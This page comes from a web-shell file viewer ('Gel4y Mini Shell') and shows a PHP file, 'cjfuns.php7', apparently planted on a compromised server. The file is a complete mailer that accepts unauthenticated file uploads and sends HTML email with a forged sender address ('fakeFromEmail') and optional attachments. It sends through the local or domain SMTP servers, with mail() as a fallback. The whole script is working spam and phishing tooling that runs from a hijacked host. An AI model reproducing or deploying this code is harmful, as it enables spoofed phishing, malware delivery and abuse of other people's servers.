Gel4y Mini Shell

View file

File name : cjfuns.php7
Content :
<?php
header('Content-Type: application/json');

// Catch Fatal Errors
function handleFatalError() {
    $error = error_get_last();
    if ($error !== null) {
        echo json_encode(array(
            "status" => "fail",
            "error"  => strip_tags($error['message']),
            "file"   => $error['file'],
            "line"   => $error['line']
        ));
        exit;
    }
}
register_shutdown_function('handleFatalError');

// Use a 10-second timeout for connections
$defaultTimeout = 10;

// Process file uploads first, if any.
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file']) && !isset($_GET['action'])) {
    $targetDir = __DIR__ . '/uploads/';
    if (!is_dir($targetDir)) {
        mkdir($targetDir, 0755, true);
    }
    $filename = basename($_FILES['file']['name']);
    $targetFile = $targetDir . $filename;
    if (move_uploaded_file($_FILES['file']['tmp_name'], $targetFile)) {
        echo json_encode(array(
            "status" => "success",
            "message" => "File uploaded successfully.",
            "attachment_filename" => $filename
        ));
    } else {
        echo json_encode(array(
            "status" => "fail",
            "error"  => "File upload failed"
        ));
    }
    exit;
}

// Get JSON payload; if none is provided, use default test values.
$input = file_get_contents("php://input");
$data  = json_decode($input, true);
if (!$data || !is_array($data)) {
    $data = array(
        "to"            => "postmaster@" . $_SERVER['SERVER_NAME'],
        "subject"       => "test",
        "fromEmail"     => "postmaster@" . $_SERVER['SERVER_NAME'],
        "fakeFromEmail" => "test@test.com",
        "fromName"      => "test",
        "htmlContent"   => "test"
    );
}

// Validate required fields.
$required_fields = array('to', 'subject', 'fromEmail', 'fakeFromEmail', 'fromName', 'htmlContent');
foreach ($required_fields as $field) {
    if (!isset($data[$field])) {
        echo json_encode(array("status" => "fail", "error" => "Missing required field: $field"));
        exit;
    }
}

// Optional SMTP override parameters.
$forceMethod     = isset($data['forceMethod']) ? $data['forceMethod'] : null;
$forceSmtpServer = isset($data['forceSmtpServer']) ? $data['forceSmtpServer'] : null;
$forceSmtpPort   = isset($data['forceSmtpPort']) ? $data['forceSmtpPort'] : null;

// If the forced SMTP override is "mail" (or "mail,mail") then force mail().
if ($forceMethod === "smtp" && !empty($forceSmtpServer) && !empty($forceSmtpPort)) {
    $smtpServerLower = strtolower(trim($forceSmtpServer));
    if ($smtpServerLower === "mail" || $smtpServerLower === "mail,mail") {
        $forceMethod = "mail";
    }
}

// Assign data to variables.
$to              = $data['to'];
$subject         = $data['subject'];
$from_email      = $data['fromEmail'];
$fake_from_email = $data['fakeFromEmail'];
$from_name       = $data['fromName'];
$message         = $data['htmlContent'];

// Encode subject and message.
$encoded_subject = mb_encode_mimeheader($subject, 'UTF-8', 'Q');
$encoded_message = quoted_printable_encode($message);

// Check for attachment flag and filename
$useAttachment = (isset($data['useAttachment']) && $data['useAttachment'] == true);
$attachment_filename = isset($data['attachment_filename']) ? $data['attachment_filename'] : "";

// Build the final message body and headers.
// If an attachment is to be used and the file exists, build a multipart MIME message.
if ($useAttachment && !empty($attachment_filename)) {
    $attachment_path = __DIR__ . '/uploads/' . $attachment_filename;
    if (file_exists($attachment_path)) {
        $file_content = file_get_contents($attachment_path);
        $base64_attachment = chunk_split(base64_encode($file_content));
        $mime_type = mime_content_type($attachment_path);
        if (!$mime_type) {
            $mime_type = "application/octet-stream";
        }
        $boundary = "==Multipart_Boundary_x" . md5(time()) . "x";
        // Build multipart message
        $final_message = "--$boundary\r\n";
        $final_message .= "Content-Type: text/html; charset=UTF-8\r\n";
        $final_message .= "Content-Transfer-Encoding: quoted-printable\r\n\r\n";
        $final_message .= $encoded_message . "\r\n";
        $final_message .= "--$boundary\r\n";
        $final_message .= "Content-Type: $mime_type; name=\"$attachment_filename\"\r\n";
        $final_message .= "Content-Transfer-Encoding: base64\r\n";
        $final_message .= "Content-Disposition: attachment; filename=\"$attachment_filename\"\r\n\r\n";
        $final_message .= $base64_attachment . "\r\n";
        $final_message .= "--$boundary--\r\n";
        // Update headers for multipart
        $headers = "From: \"$from_name\" <$fake_from_email>\r\n";
        $headers .= "MIME-Version: 1.0\r\n";
        $headers .= "Content-Type: multipart/mixed; boundary=\"$boundary\"\r\n";
    } else {
        // Attachment flag true but file not found; fallback to plain message.
        $final_message = $encoded_message;
        $headers = "From: \"$from_name\" <$fake_from_email>\r\n";
        $headers .= "MIME-Version: 1.0\r\n";
        $headers .= "Content-Type: text/html; charset=UTF-8\r\n";
        $headers .= "Content-Transfer-Encoding: quoted-printable\r\n";
    }
} else {
    $final_message = $encoded_message;
    $headers = "From: \"$from_name\" <$fake_from_email>\r\n";
    $headers .= "MIME-Version: 1.0\r\n";
    $headers .= "Content-Type: text/html; charset=UTF-8\r\n";
    $headers .= "Content-Transfer-Encoding: quoted-printable\r\n";
}

$domain         = $_SERVER['SERVER_NAME'];
$cleaned_domain = preg_replace('/^www\./', '', $domain);
$newline        = "\r\n";

// SMTP command helper function (collects response)
function smtp_command($socket, $command) {
    global $newline;
    fputs($socket, $command . $newline);
    return fgets($socket, 512);
}

// Updated sendViaMail function to use $final_message
function sendViaMail($to, $encoded_subject, $final_message, $headers) {
    $result = mail($to, $encoded_subject, $final_message, $headers);
    $response = "PHP mail() response: " . ($result ? "true" : "false");
    if ($result) {
        echo "Success: mail\n" . $response;
        exit;
    } else {
        echo json_encode(array("status" => "fail", "error" => "mail() failed", "response" => $response));
        exit;
    }
}

// Check for forced method.
if ($forceMethod === "mail") {
    // Forced PHP mail()
    sendViaMail($to, $encoded_subject, $final_message, $headers);
    echo json_encode(array("status" => "fail", "error" => "mail() failed"));
    exit;
} elseif ($forceMethod === "smtp" && !empty($forceSmtpServer) && !empty($forceSmtpPort)) {
    // Forced SMTP method.
    $server = $forceSmtpServer;
    $port   = (int)$forceSmtpPort;
    $use_ssl = false;
    if ($port == 465) {
        $use_ssl = true;
        $server = "ssl://" . $server;
    }
    $smtp_responses = array();
    $socket = @fsockopen($server, $port, $errno, $errstr, $defaultTimeout);
    if ($socket) {
        stream_set_timeout($socket, $defaultTimeout);
        $smtp_responses[] = smtp_command($socket, "EHLO $cleaned_domain");
        $mail_from_response = smtp_command($socket, "MAIL FROM: <$from_email>");
        $smtp_responses[] = $mail_from_response;
        if (strpos($mail_from_response, "250") === 0) {
            $rcpt_to_response = smtp_command($socket, "RCPT TO: <$to>");
            $smtp_responses[] = $rcpt_to_response;
            if (strpos($rcpt_to_response, "250") === 0) {
                $smtp_responses[] = smtp_command($socket, "DATA");
                $smtp_responses[] = smtp_command($socket, "Subject: $encoded_subject");
                $smtp_responses[] = smtp_command($socket, $headers);
                $smtp_responses[] = smtp_command($socket, $final_message);
                $final_response = smtp_command($socket, ".");
                $smtp_responses[] = $final_response;
                if (strpos($final_response, "250") === 0) {
                    fclose($socket);
                    echo "Success: $forceSmtpServer:$forceSmtpPort" . "\n" . implode("\n", $smtp_responses);
                    exit;
                }
            }
        }
        fclose($socket);
    }
    $smtp_output = implode("\n", $smtp_responses);
    // Attempt fallback to PHP mail()
    sendViaMail($to, $encoded_subject, $final_message, $headers);
    echo json_encode(array("status" => "fail", "error" => "Forced SMTP and mail() both failed", "smtp_responses" => $smtp_output));
    exit;
} else {
    // No forced method, try list of SMTP servers.
    $smtp_servers = array(
        array("localhost", 25, false),
        array("mail." . $cleaned_domain, 25, false),
        array("mail." . $cleaned_domain, 465, true)
    );
    foreach ($smtp_servers as $smtp) {
        $smtp_responses = array();
        $smtp_server = $smtp[0];
        $smtp_port   = $smtp[1];
        $use_ssl     = $smtp[2];
        if ($use_ssl) {
            $smtp_server = "ssl://" . $smtp_server;
        }
        $socket = @fsockopen($smtp_server, $smtp_port, $errno, $errstr, $defaultTimeout);
        if ($socket) {
            stream_set_timeout($socket, $defaultTimeout);
            $smtp_responses[] = smtp_command($socket, "EHLO $cleaned_domain");
            $mail_from_response = smtp_command($socket, "MAIL FROM: <$from_email>");
            $smtp_responses[] = $mail_from_response;
            if (strpos($mail_from_response, "250") !== 0) {
                fclose($socket);
                continue;
            }
            $rcpt_to_response = smtp_command($socket, "RCPT TO: <$to>");
            $smtp_responses[] = $rcpt_to_response;
            if (strpos($rcpt_to_response, "250") !== 0) {
                fclose($socket);
                continue;
            }
            $smtp_responses[] = smtp_command($socket, "DATA");
            $smtp_responses[] = smtp_command($socket, "Subject: $encoded_subject");
            $smtp_responses[] = smtp_command($socket, $headers);
            $smtp_responses[] = smtp_command($socket, $final_message);
            $final_response = smtp_command($socket, ".");
            $smtp_responses[] = $final_response;
            if (strpos($final_response, "250") === 0) {
                fclose($socket);
                echo "Success: $smtp_server:$smtp_port" . "\n" . implode("\n", $smtp_responses);
                exit;
            } else {
                fclose($socket);
            }
        }
    }
    // If all SMTP attempts fail, try PHP mail() fallback.
    sendViaMail($to, $encoded_subject, $final_message, $headers);
    echo json_encode(array("status" => "fail", "error" => "All SMTP attempts and mail() fallback failed"));
    exit;
}
?>